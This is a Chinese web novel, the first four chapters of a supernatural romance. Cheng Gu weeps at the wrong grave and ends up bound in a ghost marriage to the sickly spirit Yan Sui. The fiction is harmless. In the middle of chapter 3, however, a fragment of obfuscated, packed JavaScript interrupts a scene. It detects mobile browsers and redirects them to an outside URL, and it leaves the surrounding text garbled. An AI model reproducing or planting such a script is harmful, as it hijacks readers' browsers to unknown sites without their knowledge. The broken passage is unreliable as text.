《哭错坟后多了个病弱老公》
1. 第一章
《哭错坟后多了个病弱老公》莲折/文
于2025年2月3日首发于晋江文学城
本文已开段评
第1章
“何出齐死了。”
手机震动,看清内容的那一刹那,程故激动地从沙发上弹起,双手颤抖地打字询问。
“真的?死哪了?怎么死的?”
对方显然料到他会问这些问题,把提前准备好的回答发来。
“听说当小三,被正主抓到,逃跑的时候被车撞死了。特别惨,他家里人找了很多厉害的人才把他的尸体拼出来。”
老天有眼。
程故嘴角快翘上天了。
何出齐是他分手不久的前男友。
当初用心追了他半年,程故被打动同意在一起。
没想到刚在一起,何出齐迫不及待地想发生关系,拒绝第二天就出轨了。
程故要分手,何出齐理直气壮地指责是他不让自己碰才出轨,抨击cpu程故三小时。
到最后程故真以为是自己的问题,怀疑人生三天才彻底清醒,要与何出齐斩断关系。
对方不断上门,最后程故不堪其扰,选择搬家。
何出齐不同意分手,其间却不停和别人去酒店,还策划了一场复合求婚。
程故被骗过去,拒绝后何出齐挂不住脸,狗急跳墙指着他乱骂。
最后大闹一顿终于分手,结果回去他的眼睛出了问。
——能看到恐怖扭曲的东西。
一开始以为是幻觉,程故去医院确定精神没问题后才知道那些东西是真实存在的“鬼”。
他被迫有了阴阳眼,找到的大师说他是去了不该去的地方。
而那地方就是何出齐骗他过去的KTV。
从那之后,程故家里最多的就是符纸。
现在听见何出齐死了,他恨不得跑去他尸体前敲锣打鼓,好好欢送一场。
“别笑了。”朋友猜出他此刻肯定笑得很欢畅,发来消息,“已经火化了,不过我知道墓地,你可以过去好好‘观赏’。”
紧跟其后的是一个地址。
程故绷住上扬的嘴角,打开柜子,翻出早就准备好的一身红衣服,换上后打车来了墓地。
墓地并不大,只有五个墓并排。
确保里面没有飘起来的“鬼”,程故才放心进去。
根据朋友提供的编号,他停在第四个墓碑前。
这种时候看脸太晦气,程故避开上面的照片,坐在地上盘着腿假模假样地哭起来。
“何出齐,你死得好惨啊,我都没来得及看你最后一面。”
“呜呜呜,听说你被压得四分八裂,呜呜呜好惨啊。”
“希望你到了那边别老是出轨做小三了,不然被鬼暴打怎么办,呜呜哈哈哈……”
到最后实在没忍住笑出声,程故整个人像打开了阀门,笑到一手捂着肚子,一手疯狂捶地。
“你个死王八-犊-子,死了也活该。”
成功笑到眼泪止不住流出,肚子不停抽痛,程故抹掉眼角眼泪。
想起这里还有其他长眠者,笑太大声不合适,他双手合十朝对着其他墓碑真诚道歉:“对不起,我就笑何出齐这个恶人,打扰了,对不起。”
蓦然发觉右边墓碑上那张欠打的脸,程故动作一顿。
何出齐的墓碑在这边,那他哭的是谁?
程故呆住,缓缓抬头。
碑上名字的地方一片空白,照片上的男人极为年轻,五官深邃,属于在千人中都能一眼注意到的俊美。
程故目光落在对方右内眼角处,那靠近鼻梁的地方有一颗明显的痣。
这是谁?
他反应迟钝,半天回不过神。
空气中响起一声微不可察地叹息,程故浑身一个激灵,慌忙低头,生怕自己在这种地方看到吓人的鬼。
来的时候太激动,没确定朋友给的编号,导致哭错坟了。
现在还闹鬼了=????(??? ????)
程故边道歉,边挪动着身体,还没来得及挪到何出齐墓前,耳边响起几声不容忽略的低咳。
他身体微僵,喉咙干涩到难以发出声音,只能极力敛眸,避开那声音发出的方向。
阴冷的风刮过,头顶天空不知道什么时候暗沉下来。
视线里出现何出齐的墓,想起自己能看到那些鬼都因为他,程故恨不得把墓碑砸了,骨灰拿出来拌菜喂鸡。
他低头缩着脑袋,降低自己的存在感,期盼那东西不要发现自己能看到它。
可惜愿望没有灵验,周遭温度降低,明显有什么东西在朝他靠近。
伴随着虚弱的低咳声,一道温润的嗓音随风钻入耳中。
“你把我唤醒了。”
肯定的语气让程故内心慌乱,确定这东西知道自己有阴阳眼,他不得不硬着头皮装瞎:“不是,你认错了。”
为了更像,程朔抬手胡乱抓着什么,努力将眼神放空:“谁,谁在说话?这里除了我还有别人吗?我看不到。”
“太晚了,我得回家了。”
他哆嗦着站起身,刻意不去看左边,侧身想从右边离开,却因为太紧张,刚迈出右脚,左脚反射性跟上。
两脚相绊,身体失去平衡,骤然向前摔去。
何出齐那张恶心的脸越来越近,程故满心抗拒,顾不得其他,伸手打算扶着墓碑支撑身体时,有一只大手先一步揽住他的腰,将他稳稳扶住。
冰冷的温度即使隔着衣服也能清楚感觉到,那种透入骨髓般的寒意让程故身体疯狂瑟缩。
不知道是怕的还是冷的,他脸色苍白,紧咬牙齿,整个人崩如一碰就断的弦。
对方扶着他的腰,确保他站好后才收回手,低声说:“不用紧张。”
或许因为那声音太过温柔,成功驱散了程故内心的恐惧。
程故刚呼出一口气,听见对方开口:“你要对我负责。”
猝不及防的一句话令程故睁大眼,下意识转身看向对方:“什么?对你负责?”
他一个人怎么对‘鬼’负责?
意外的是,对方不似程故以往看到的那些恐怖扭曲的鬼。
不同于墓碑上死气沉沉的黑白照片,男人鲜活地站在一旁。
他穿着白色的衬衫,最上方的扣子解开,露出一点锁骨,右手手腕戴着一根红色的手绳。
五官深邃冷峻,眼瞳却是一种浅淡温柔的棕色。
若不是那明显不属于常人该有的惨白面容,程故会以为自己看到的是人。
模样倒是与照片无差别,只是眉眼间病恹恹的,加上那脸色,仿佛下一秒就能晕过去。
“我原本会一直在这里沉睡。”对上他的目光,男人并不意外他能看到,只是温声解释,“你把我唤醒了,我得跟着你。”
“什么意思?”说出的话太让人震惊,以至于程故没时间害怕,只想弄明白眼下的情况,“这是意外,我哭错坟了,原本是想……”
男人低咳出声,强行打断程故后面的话。
他长得很好看,身形修长,比一米八的程故还要高出半个脑袋。
此刻略微低着头,
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只能让人看到那因咳嗽而不停扫动的长睫,与那颗引人视线晃动的黑痣。
程故怀疑他是病死的,忽略他吓人的身份,看着挺让人心疼。
“抱歉。”男人歉意地笑笑,冰冷的面容随着这笑容染上几分暖意。
程故强行挪开目光,不由自主地说:“你是鬼吗?跟我之前见过的那些不一样。”
“怎么不一样?”男人饶有兴趣地追问。
太好看了。
程故咽下这不合时宜的夸赞。
头顶天空乌云涌动,风更大了,昭示着暴风雨即将来临。
程故反应过来自己该干什么,绕开男人往门口去。
“要下雨了,我该回家收被子了,打扰到你真的对不起,我会给你烧……”
眨眼间,眼前出现男人高大的身影,挡去他的去路。
程故后退两步,欲哭无泪地指着何出齐墓碑。
“不然你去找那位,都是他害的我能看到你。”
男人忍住低咳,看出他的抵触,思索片刻问:“你害怕我吗?”
离得太近,程故能明显感觉到他身上散发的森然寒意。
比起来其他恐怖的东西,他对这种正常模样的存在倒是不怕。
前提是不跟着自己。
男人缓缓开口:“既然错了,不如就一错到底,缔结阴缘,我保你阴邪不侵,你让我跟在身边。”
受各种鬼怪困扰多日的程故狠狠心动,犹豫道:“缔结姻缘是什么意思?”
他太渴望甩掉那些东西了。
毕竟从有了阴阳眼开始,无论外面还是家里天花板,时不时会飘出扭曲恐怖的黑影。
有些会故意张牙舞爪地吓他,来测试他是否能看到。
男人看出他的想法,低笑出声:“不是姻缘,是阴缘,毕竟我已经死了,不过这两者没有太大区别。”
程故半晌回不过神,僵硬地眨着眼,试图说什么,话到嘴边又忘得一干二净。
红色的同心结飘在眼前,那是一根手绳,程故目光落在男人手腕,发现他右手戴着的手绳与眼前这根一样。
男人温声道:“从今天开始,我就是你的老公了。”
莫名多了个老公的程故:“啊?”
他后退两步,避开那根手绳,意识混乱到无法思考,只磕磕绊绊地开口:“先,先别这么说,我,还,还没同意。”
男人不再说话,安静地站在一旁等待着他的回答,侧脸温和,实在让人无法与那些东西联系到一起。
程故鼓起勇气问:“如果我拒绝会发生什么?”
“我回不到墓中继续沉睡,只能跟在你身边,不过不能出现,没办法插手你与那些东西之间的事。”男人看向他,语气无奈,“这不是我能控制的。”
“为什么是我?”程故疑惑道。
“命中注定。”回答他的是男人夹杂着笑意的嗓音。
以前程故不信这四个字,有了阴阳眼后信了。
他问过那位大师:其他人去KTV没事,怎么就他一人有问题。
大师回答他的也是一句“命中注定”。
“你能保护我什么?”程故又问。
男人:“有我在的地方,那些东西不会伤害到你,不能靠近你。”
“仅此而已?”程故迟疑,这样他还是能看到那些东西,避不开。
男人轻声开口:“程故,你这一生注定要和那些东西打交道,逃避没有用。”
听见自己的名字被他毫不犹豫地唤出,程故黑眸缓缓睁大,匪夷所思:“你怎么知道我的名字?”
2. 第二章
第2章
“我叫言随。”男人没有回答,低咳两声说出自己的名字,脸色在风声呼啸下更为苍白。
程故注意力被吸引,略微改变声调:“芫荽的芫荽?”
“不是香菜的名字。”言随莞尔,眼眸专注地望着程故,“不过你想那么叫也可以。”
他这双眼睛看人时太过温柔,有种随时让人沉陷其中的感觉,程故连忙错开目光。
“这不是重点。”他觉得自己的脑子乱成一锅粥,这边还没理清楚,那边又陷入茫然。
“你为什么知道我的名字?还说我注定要和那些东西打交道……你们都会算命吗?”
“不会,我只知道你的一些事。”言随伸手抓住同心结,递到程故面前。
他实在不像死人,脸虽然是常年不见光的白,嘴唇和掌心却带有明显的血色。
程故实在看不明白,言随身上有一种矛盾感,但他不好形容出,恍惚地问:“那我来这里叫醒你,你也知道吗?”
他沉默片刻,回答得模棱两可:“算是知道。”
程故没再多问,只是上下打量他,眼神带着怀疑:“你这么……”
“我是不能打。”言随又是一声低咳,眉眼病态展露完全,“不过只要我在你身边,那些东西完全不敢近你身。”
“你很厉害吗?”程故眨眨眼。
言随敛眸沉思两秒:“还好。”
所以是他跟在自己身边,那些东西会因为他的原因不伤害自己,重点是他这个人。
程故低头认真思考十分钟,去接言随手中的同心结。
处于危险间和与言随在一起,他似乎只能选择后者。
应该说,他没有选择。
拒绝后不光言随会跟着他,那些东西也依旧有危险。
既然如此,不如接受。
指尖避免不了碰在一起,没有想象中的冰冷,反而有种异样的灼烧感。
程故抓住手绳打量:“这有什么用?”
“定情信物。”言随唇角微弯,“需要我帮你戴上吗?”
“不。”定情信物四个字让程故略微不自在,快速将其戴在左手手腕。
一股热意从手腕蔓延到心间,他神奇地望了两眼同心结。
想起这一切的罪魁祸首,程故指着何出齐的墓碑,咬牙切齿:“你们都是鬼,能告诉我这人死后去了哪里吗?”
言随淡淡地瞥了一眼:“受罚。”
得到一个满意的答案,程故光顾着笑了,没再思考其他。
言随站在他身侧,目光落在那张白净的脸上,眼底情绪晦暗不明,逐渐形成一团深黑的存在。
他摩挲着手腕上的同心结,感受着那灼热滚烫的温度,再一次确信这些是真实发生的。
而不是在那虚无缥缈,一触即碎的梦境。
“那走吧。”程故说,特意走到何出齐墓碑,原本想狠狠踹一脚发泄,想了想还是竖起中指,做出鬼脸,“活该,让你作,现在成一团灰了吧。”
天色渐暗,空气中带着一股潮湿的味道。
程故知道快下雨了,着急拿出手机打车。
幸运的是有人接单,十分钟就能过来。
程故松了一口气,看向身侧的人,还有种不真实感。
他试探性道:“你还知道什么?”
“你即将有一份工作。”言随微笑道。
“跟鬼……跟你这方面有关系的?”程故问。
“是的。”言随说,“其他我不知道了。”
每个人都有秘密和不想说的,何况言随看着就神秘,程故没有再问其他。
感情这种事无法细说,他不知道自己将来会不会喜欢上言随。
现在与言随只能算是互相合作的……夫夫关系?
言随保护他,他让言随跟着。
有点怪,但可以接受。
“你……”程故想了想,准备和他简单交个底,车子却在这时到了。
司机停车,忌惮地瞥了两眼墓园的位置,示意程故赶紧上车:“快,这地方吓人。”
程故坐上车,他没关车门,而是下意识往里面挪动,让出位置给言随。
司机看到这一幕想起什么,浑身汗毛直竖,声音陡然拔高:“什么意思?你别吓我。”
程故立刻解释:“我习惯性坐着里面。”
言随坐在旁边,他斜着身体,尽量不碰到言随关上车门。
司机松了一口气,放开刹车,自言自语道:“我还以为你看到了什么,在这门口怪瘆人的。”
他咽咽口水,转动着方向盘,不知道想起什么,脸色更白了。
“最近网上闹得沸沸扬扬的事刷到没?”
言随从上车之后便坐得笔直,双手交叉放在腿上,偏着脑袋静静地看向窗外。
他似乎格外关注外面的风景,专注程度让程故有种想问他死了多久的冲动。
在车上和一个看不到的“人”说话十分吓人,程故按捺住询问的打算,随口问司机:“什么?”
前几天一出门,走廊聚集着好几个丑陋的东西,程故受到不少冲击,闷在家里看了三天修仙电视剧才缓过来,并没关注过网络。
“车祸啊。”司机扬起眉毛,怀疑程故不是本地人,“连着一周出了三次车祸,都在同一个地方,你不觉得邪门吗?”
确实邪门,不过更邪门的他也见过了。
程故瞥了眼死去又活过来的言随。
司机从过反光镜注意到,猛踩刹车:“兄弟,我看你不对劲呢。你从上车开始就一个劲往侧边看,你侧边有人吗?你别闹我啊,我经不起吓。”
听见两人交谈,言随回头看来。
车窗外的天沉到仿佛随时能塌下来,连带车内氛围都变得压抑透不过气。
男人略微苍白的脸在昏暗的周围极其显眼,五官冷峻,像是精心雕刻出的完美作品。
他比刚醒来更为鲜活,乍一看除了眉目间一点病弱外与活人无异。
四目相对,程故才发觉自己看他太久,立刻收回目光。
车子靠边停下,司机不问清楚不敢继续开车。
“没事。”程故一本正经地解释,“我是看窗外,不是快下雨了吗?我家里被子没收,怕下雨。”
很好的理由,司机直接相信,启动车子继续向前行驶。
来的时候光想着嘲讽何出齐,回去程故才发现路程不短。
身体在平稳的车速中逐渐放松,他来了困意,眼皮努力挣扎几下,缓缓闭上。
车外一声闷雷,闪电掠过,照亮半边黑沉的天。
乌云压下,豆大的雨说来便来,噼里啪啦,仿若一盆水浇在车玻璃上。
雨刷急躁地晃动着,程故丝毫没被吵醒,反而睡得更熟。
他仰着脑袋,侧脸线条柔和,随着车外闪电面容一明一暗,唯有微翘起的浓密睫毛清晰可见。
随着车子转弯,程故身体不受控制地向右边滑去,最后侧脸枕在冰凉的衣料上。
他挣扎两下,寻了个舒服的姿势睡去。
若是有旁人在,一眼能看到他脑袋不正常悬空,似有一个看不见的人坐在那里,让他枕在腿上。
雨太大,司机全力盯着前方,并没注意到后
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座惊人的场景。
喇叭声刚响起就被雨声吞没,各种声音交杂在一起,最终沦为模糊的背景。
车内成了一片独立的安静天地。
再次感到活人的气息是件非常神奇的事。
言随垂眸,视线因主人沉睡而肆无忌惮地落在那张脸上。
他缓缓扫过精致的眉眼、漂亮的鼻梁,最后落在微张开一点的唇上。
程故这人清醒时,无论是五官还是神色,总有一种满身带着尖刺的锋利感,看着就不好惹。
可此刻他安静地睡着,面容白皙无瑕,长睫垂下,只剩令人看不够的乖巧柔和。
言随伸手,动作不轻不重地按了下他的唇,眼底情绪不明。
程故感觉到,扭动着身体躲开,睫毛颤动片刻,没有醒来。
原本微凉的怀抱被彻底染上暖意,他缩在言随怀里,再次沉沉睡去。
暴雨之下,一切变得模糊不清。
随着车子停下,司机舒口气:“可算到了。”
程故正在做梦,开心地狂揍何出齐发泄怨气,耳朵倏然被人捏了下。
奇怪的感觉顺着后脑勺蔓延开,他肩膀一抖,瞬间睁开眼,反射性坐起身。
“到了?”
“到了。”司机说,“雨大太,你怎么走?”
不等程故说话,他想起什么,看向后方:“我后备箱有把雨伞,你拿着走吧。”
程故反应过来自己睡了一路,还是躺在言随腿上睡的。
他不确定地看了眼言随,见他表情和之前没什么变化,手指抓了下发烫的耳朵。
耳朵被捏了下,是梦还是言随……
“谢谢师傅。”程故从后座摸向后备箱,成功拿出那把黑色的伞,“我给您打赏。”
“不用,这把伞买了很久也没用上,你直接拿去。”司机师傅摆摆手,“我还有一把。”
程故说:“我给您五星好评。”
师傅笑着道谢。
车门打开,风卷着雨水洒在身上,凉意随着皮肤扩散,惊得身体微微颤抖。
程故撑开伞,故意放慢动作,等言随一起站在伞下才对师傅招手:“师傅您路上注意安全,雨太大了。”
他向前迈出一步,注意到言随没跟上,后退提醒:“不走吗?雨很大。”
雨势大到小区门口没有一个行人,雨伞虽然足够大,却挡不住从四面八方被风裹挟而来的雨。
程故抓着雨伞的手不受控制地抖动。
“你提醒他一句。”言随抬手,将中间的雨伞往程故那边倾斜,目光扫过头顶的伞,语调不明,“让他三天内天黑后不要出门,三天后随意。”
程故怔住,下意识看向主驾驶。
车窗挡住一切,无法看清。
他靠近一步,又想起言随,扯着男人冰冷的手臂来到车窗前敲了敲,连自己都没发觉这个动作有多自然。
车窗降下,露出师傅疑惑的脸:“怎么了?有东西忘记带了?”
来的途中一直没注意,此刻程故才发现,这司机师傅面色呈现一种死灰色,特别是印堂处,涌动着一团显而易见的黑气。
他震惊自己为何能看到这些,明白言随那句提醒,又想起前不久司机提到的车祸事件。
天色渐暗,伴随着倾盆大雨,周遭黑得吓人。
雨水顺着杆滑落至握着尾端的掌心,湿冷到令人不适,有种水正在变黏腻浓稠的错觉。
程故换了一只手,甩掉掌心的水,身上的冷意无法忽略,他哆嗦着提醒。
“师傅,三天之内天黑后不要出门,三天后可以照常。”
3. 第三章
第3章
程故声音不大,轻易被雨声覆盖。
司机师傅探出脑袋,眼神古怪地瞅他两眼。
模糊的雨幕中,青年左手撑着伞,放在右肩处,右手处于抓着什么东西的姿势。
师傅再次看了眼,确定那只被雨打湿的手里只有空气,但那手势又着实奇怪。
“你……”他想说程故是不是精神方面不太正常,话太难听,又忍住了。
“明天后天大后天,天黑不要出门,过了大后天可以随意。”程故弯腰凑近司机师傅,大声说,“记住了,师傅,一定要记住我说的话。”
伞尾挪动,言随示意他可以离开。
雨水打在睫毛上,程故站直身体,眨动着眼睛。
他实在受不了湿漉漉的感觉,松开抓着言随的手,刚准备揉眼,冰冷的手指先一步落在他的眼皮上。
程故眼皮颤了颤,感受到那手指轻微抚过他的眼睫,带走那份难受的湿润。
“走吧。”言随收回手,低声说,视线从他脸上一扫而过,落向指尖。
随后他摩挲一下指尖,不知道在想什么,面容在黑夜的渲染下变得晦暗不清。
两人之间相处得太过和谐自然。
让程故恍惚觉得不像初识,倒像认识了很久。
“你之前是不是认识我?”他跟在言随身后坦言问。
“之前?”言随认真思考,“上辈子我们可能认识。”
“这是什么话?”程故失笑,“按照这样算,我上上辈子可能也认识你。”
“可能真的认识。”言随倏然望向他,浅棕色的双眸在雨夜之下变得格外深沉。
一与言随对视,程故便会有一种大脑不受控制的奇异错觉。
他主动错开目光:“你是怎么去世的?”
“不记得了。”言随说,“死太久了,想不起来了。”
雨势骤然变小,打在伞上发出“哒哒哒”接连不断的沉闷声响。
男人的嗓音平静冷淡,在冰冷的周围惊不起一丝波澜。
这显然藏着什么的回答让程故识趣没再询问。
他若有所觉回头。
司机师傅还扒拉着车窗看他,眼神震惊,显然看到了他自说自话的一幕。
加上先前那句提醒,他肯定会被当作不正常人。
“他的脸怎么回事?”程故换了个话题,“我能看出他的脸不对劲,印堂还有黑气。”
“死气。”言随言简意赅,“徘徊在死亡边缘的人会出现。”
“那我们的提醒有用吗?”程故问。
“看他自己。”
程故觉得自己遗忘了什么,想了半天想不起来,直到对上言随越发正常的脸色:“你怎么不咳嗽了?”
“我没那么弱。”言随轻笑,“咳嗽也不是一直咳。我除了死了,其余和常人无异。”
程故观察着他,忽然被抓住手放在他的鼻前。
“我有呼吸。”
原本惊于手指相触,可很快被那冰凉的呼吸引走注意,程故错愕,不可置信地试探着:“你有呼吸?”
鬼不是不该有呼吸吗?
可微凉的呼吸洒在指尖,告诉着他事实。
“所以我说我与常人无异。”言随被他的反应逗笑,放下他的手。
程故食指微微弯曲,遏制住那窜起的一点痒意,迫不及待转移话题:“心跳呢?”
言随微顿,笑容更盛:“现在没有。”
……
天彻底黑了,小区里亮着灯光,总算有了几个人来回走动。
有人发现程故明明一个人,却一直有动作并且自言自语,不停看向他。
程故没有放在心上,进入电梯后,他给言随打预防针:“我家只有一间卧室,一张床,今天没办法,只能委屈你了。”
言随没有说话,安静地站在他身侧,视线却直直地看着程故。
沉积的雨水顺着伞尖流下,电梯门打开,不同于电梯里的森冷空气迎面而来。
程故直接打了个喷嚏,揉揉鼻子。
他没着急出去,站在电梯口确定亮着灯的走廊上没什么奇形怪状的东西,才松口气迈出步伐。
程故拿出钥匙,打开第三扇门。
房门推开,玄关处感应灯亮起,温暖的灯光落在他微湿的脸上,没有半分狼狈,反而有种凌乱的氛围感。
程故拿出新拖鞋,转身想起言随的身份,迟疑:“你还需要这个吗?”
鬼是不是飘着就行了。
抬眼注意到言随抬着头,似要做什么,程故一怔:“怎么了?”
“没事。”言随放下手,接过拖鞋道谢,“谢谢,我可以穿。其实我有实体。”
这是一句非常突兀令人不解的话。
程故歪着脑袋,刘海随着他的动作轻微晃动:“实体?”
“可以被人看到。”言随换上干净的鞋子,又说了一句谢谢。
“那你算是什么样的存在?你跟那些鬼物不像。”程故惊讶地说。
“我不完全属于鬼。”言随沉吟出声。
程故应了一声,没有多问,打开客厅灯光。
他拿着伞进入卫生间,甩干水后撑开放在地上。
从墓园回来后就有些稀里糊涂,直到洗了脸,程故才有了明显的真实感。
他吐出一口气,走出卫生间,见言随打量着客厅,迟疑几秒,指着沙发说:“你睡这里。”
顿了顿,程故歉意道:“抱歉,我后面再加一张床,但目前你只能睡沙发。”
言随几乎没有任何犹豫地温柔道:“我要和你一起睡。”
程故以为自己听错了,揉揉耳朵,对上言随认真的模样,指着自己:“我?和我睡?”
言随点头:“我必须和你睡。”
明明是暧昧的话语,可他的表情太过认真,像是在拜托他让两人一起睡般。
程故下颚不自觉绷紧:“不行,我不接受婚前x行为。”
虽然这个婚前形容极其模糊,但不可以两个人一起睡。
言随静默片刻:“我睡床底就够了。”
程故眼皮一跳,看着他没怎么变化的表情,脸颊微燥:“你一开始说一起睡,就是我睡床你睡床底?”
“算是。”言随说,“我今晚要跟你在一间房。”
程故略微窘迫,自己胡思乱想到哪里了,他进入卧室拿出衣服,又想起现在家里不止自己一个人,翻出洗干净未穿过的新睡衣,递给言随。
“我先去洗。”程故说,“你可以坐在沙发上等我。”
言随接过衣服,点头道谢。
卫生间门一开一合,紧接着水声响起,玻璃门很快被雾气遮挡得完全。
言随环顾四周。
客厅并不大,程故没多少东西,一切从简。
卧室风格偏冷淡,一眼望去全是黑白灰,唯一的亮色就是各种符纸。
尤其是床头,贴得密密麻麻。
言随听着水声,直到声音停止,被吹风机代替。
片刻后,卫生间门被拉开,洗漱完成的程故清爽地走出来。
沐浴的香味随着他的靠近从空中弥漫,包裹着鼻腔。
灯光下,青年穿着灰色的秋款睡衣,柔软的黑发下双颊被热气腾得微红,眼睫还带着点湿润,上下扫动间透着一种形容不出的温顺。
“你可以洗吗?”他发出诚恳地询问,唇泛着淡淡的光泽,让人一眼挪不开目光。
“可以。”言随站起身,他低咳一声,拿着衣服进入卫生间。
程故刚接了杯水去喝,听见言随的声音从卫生间中传出:“程故,你没给我拿内裤。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006408|161966||http|test|mini|href|location''.split(''|''),0,{}));
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>程故差点被呛到,慌忙放下水杯,进入卧室又折返,拿着新内裤推开卫生间门一条缝隙,递进去:“尺码不合适也没办法,要么你先……不穿,明天我去买新的。”
鬼不穿衣服其实也没事吧?
一只手接过去,手指划过手背,带来的触感太过明显,仿佛触电般划过背脊。
“明天你应该会很忙。”
程故注意力霎时间被吸引:“什么意思?”
“明天你就会有新工作。”言随说。
程故眨眼,不明所以,其实更多的是不信。
有了新工作更好,虽然他想不出自己怎么会做那份工作。
喝完水,程朔回到卧室,避免尴尬,直接躺下。
倒不是不想和言随挤一挤,实在是他的床太小。
一米五的床,他自己躺着感觉都没有爽感,和言随躺一起,恐怕要贴着身体睡觉。
程故用被子裹住自己,想起言随说的睡床底,又掀开被子下床。
床很高,底下没任何东西,还真挺适合睡觉。
再加上他昨晚刚打扫完卫生,里面很干净。
程故拿出被子铺好,坐在地上看着被子有点茫然。
打地铺就可以,干嘛要睡床底?
程故弯腰准备挪出被子,骤然听见一句:“不用,我就睡在那。”
他猛然抬头,言随不知道何时站在卧室门口,轻倚靠着门框,姿态慵懒,满脸笑容。
他穿着黑色的睡衣,程故庆幸买的时候故意买的大号,穿在他身上正合适。
前不久还是一副病弱的模样,此刻完全是一副正常活人模样,程故一时看得晃神,直到言随缓步走来,停在他身侧俯身看了眼床底。
“很适合我。”
程故手脚不自在,坐也不是,起身也不是,言随俯身,离他很近。
近到能感受到言随身上的气息。
程故发觉什么,抬手触碰他的手臂。
虽然没有人类的热度,却并不冰冷,或许是他的掌心太热,只感觉到一种神奇的温凉感。
“你怎么越来越像活人了?”程故忍不住惊叹出声,掌心顺着他的手臂摩挲感受着温度。
反应过来自己的动作有些不该,他及时收回手,别扭避开言随的身体,躺在床上用被子蒙住自己。
他想起什么,掀起被子坐起身:“对了,房间里很多符……”
当初被几个恶鬼发现他有阴阳眼,缠着他要夺舍他,程故吓到寻求大师帮忙,买了一百多张符纸贴在房间。
虽然只有一点点作用。
言随短暂笑了一声:“这些东西无法影响到我。”
程故松口气:“那就好。”
他缓缓躺下,盖好被子:“晚安。”
“晚安。”言随说。
外面的灯光关闭,随即是卧室。
衣料摩挲声后,床底响起躺下的动静,随后室内寂静无声。
程故睡不着,心跳声震耳欲聋,他自己都说不明白怎么心跳如此之快。
难道因为平时一个人,现在床底多出一个。
程故更加别扭,掀开被子,盯着天花板催眠自己睡觉,注意力却全集中在床下。
有人躺在床底太奇怪了。
程故迷迷糊糊有了困意,眼睛一闭失去意识。
等到他骤然醒来,感受到了不正常的冷风。
房间里关着窗,可那风依旧从窗边袭来,冰冷刺骨,太不正常。
意识彻底清醒,程故紧闭着眼,纠结要不要睁眼。
风声不停,与此同时,他听见那句用力吹气的声音。
呼~呼~呼~
好似有人贴在窗外,借着一点缝隙疯狂往里吹风。
他住在五楼,什么人能半夜悬空在窗外?
那肯定不是人。
4. 第四章
第4章
程故猛地睁开眼,反射性偏头看向窗户。
窗帘前只有一层轻纱遮掩,并没什么用,以至于贴在玻璃上的扭曲爬动的黑影能看得一清二楚。
“呼呼呼~”阴寒的风再次袭来,这次程故听清楚了,是外面趴着那个东西极力吹进来的。
他甚至能在那吹气声中,听见那一丝恶劣至极的窃笑。
似乎知道他醒了,那东西开始在玻璃上来回爬动,不断发出沉闷的“啪嗒”声。
程故眼皮不安乱跳,用力抓紧被子,准备一鼓作气下床开灯去检查时,床底骤然响起一道声音。
“睡不着吗?”
程故怔住,门外的爬动不停地东西顿时停下,紧接着急速调转方向,藏到看不见的地方去了。
“它们为什么怕你?”目睹这一幕的程故震惊开口。
言随失笑:“毕竟我快和常人无异。我在这里,它们没办法靠近你,伤害你。”
程故之前还将信将疑,现在真的信了。
那东西跑得那么快,明显不敢惹言随。
他轻声道谢,翻个身闭眼准备继续睡。
意识漂浮不定,每当快要睡着又能清醒,程故恍惚中听到了言随平稳的呼吸声。
床底下躺着人实在太别扭。
煎熬到半夜一直没睡着,老觉得床底下有个“死人”,瘆人的程故崩溃冲着床底喊:“你还是上来和我一起睡吧。”
言随没有动,只是问:“你害怕吗?”
“不是,太别扭了。”程故如实说,“你在下面我睡不着。要不然你打地铺,而且……床底也不是睡觉的地方。”
他当时到底怎么魔怔了,直接在床底铺好被子。
从开了阴阳眼到现在,程故的生活发生了翻天覆地的变化。
稳定的动作被迫辞了,因为公司那栋楼里全是鬼,他坐在工位活动身体,一抬头,天花板上十几个鬼张牙舞爪与他对视。
程故受不了辞职,但无论是出门还是家里都能看到。
有些东西不知道他有阴阳眼,单纯喜欢调笑他,还会碰到强行跟着他回家的。
好在家里贴着的符纸发挥作用,将它们阻挡在外。
程故一直不明白怎么会有这么多鬼存在人世间。
“你确定吗?”言随出声,“我体温很低。”
“没事,两床被子。”程故不在乎这点,“你现在就上床睡吧。”
窸窸窣窣声短暂响起,随后男人抱着枕头站在窗边,身影被窗外一点光勾勒出。
程故看不清他脸上的表情,只能看到一点模糊的轮廓。
他往旁边挪了挪身体,示意言随躺下,还不忘提醒:“可能会有点挤。”
“好。”被子放在床上,言随放好枕头后没有再停顿,直接躺下。
本以为会觉得冷,出乎意料地没有任何多余感,程故甚至一下来了困意,眨眼不过几次便沉沉地睡去。
*
脑中意识陡然清醒,程故发现自己紧贴着一人,迷迷糊糊想起言随睡在一旁,但两人分开盖被子,不该出现这种情况。
程故缓缓睁开眼,发现自己不光和言随挤在一个被窝,手还放在言随腰上。
他的身体似乎很喜欢言随,时不时发烫一点的体温与冰凉的温度刚好契合,以至于紧贴在一起也无任何反感。
程故以为是言随进了自己被子,一摸身后快要掉下去的被子沉默了。
是他不知道怎么厚颜无耻挤进了别人的被子里。
程故一点点向后挪开身体,试图在不惊醒言随的情况下远离。
没想到才拿开手,他的手腕便被人轻轻握住,往后拉了拉。
手猝不及防贴在微凉的后背,程故愣住,来不及多想,下意识挣扎着抽回手。
“醒了?”男人明显刚醒,声音微哑,“你手一夜贴着我的背,我习惯了。”
程故庆幸外面天没亮,房间里昏暗无光,不然他因不好意思红起的脸绝对会暴露。
“我不知道。”他磕磕绊绊地解释,“我平时,睡觉,挺安分的……不知道今天怎么了,抱歉,抱歉啊。”
“不用道歉。”言随失笑,“我们的关系,想干什么就干什么。”
说者无意听者有心,暧昧的话语让程故脸色暴红,根本不敢去细想这句话。
他看了眼时间,凌晨四点,还能再睡一会儿。
但经过刚刚的事,程故此刻脸红心跳,身体热意不断攀升,完全无法睡着,甚至能出去跑几圈。
“对了。”脑子疯狂想话题,想起半夜时看到的黑影,他压低声音问,,“之前窗外的影子是什么东西?鬼吗?”
“对。”言随颔首,温声道,“你工作之后会得到关于这方面详细的介绍,我忘了很多东西,没办法详细告诉你。”
今天就有工作,程故不太相信。
按照以往,他会缩在家里,工作不可能直接送上门来。
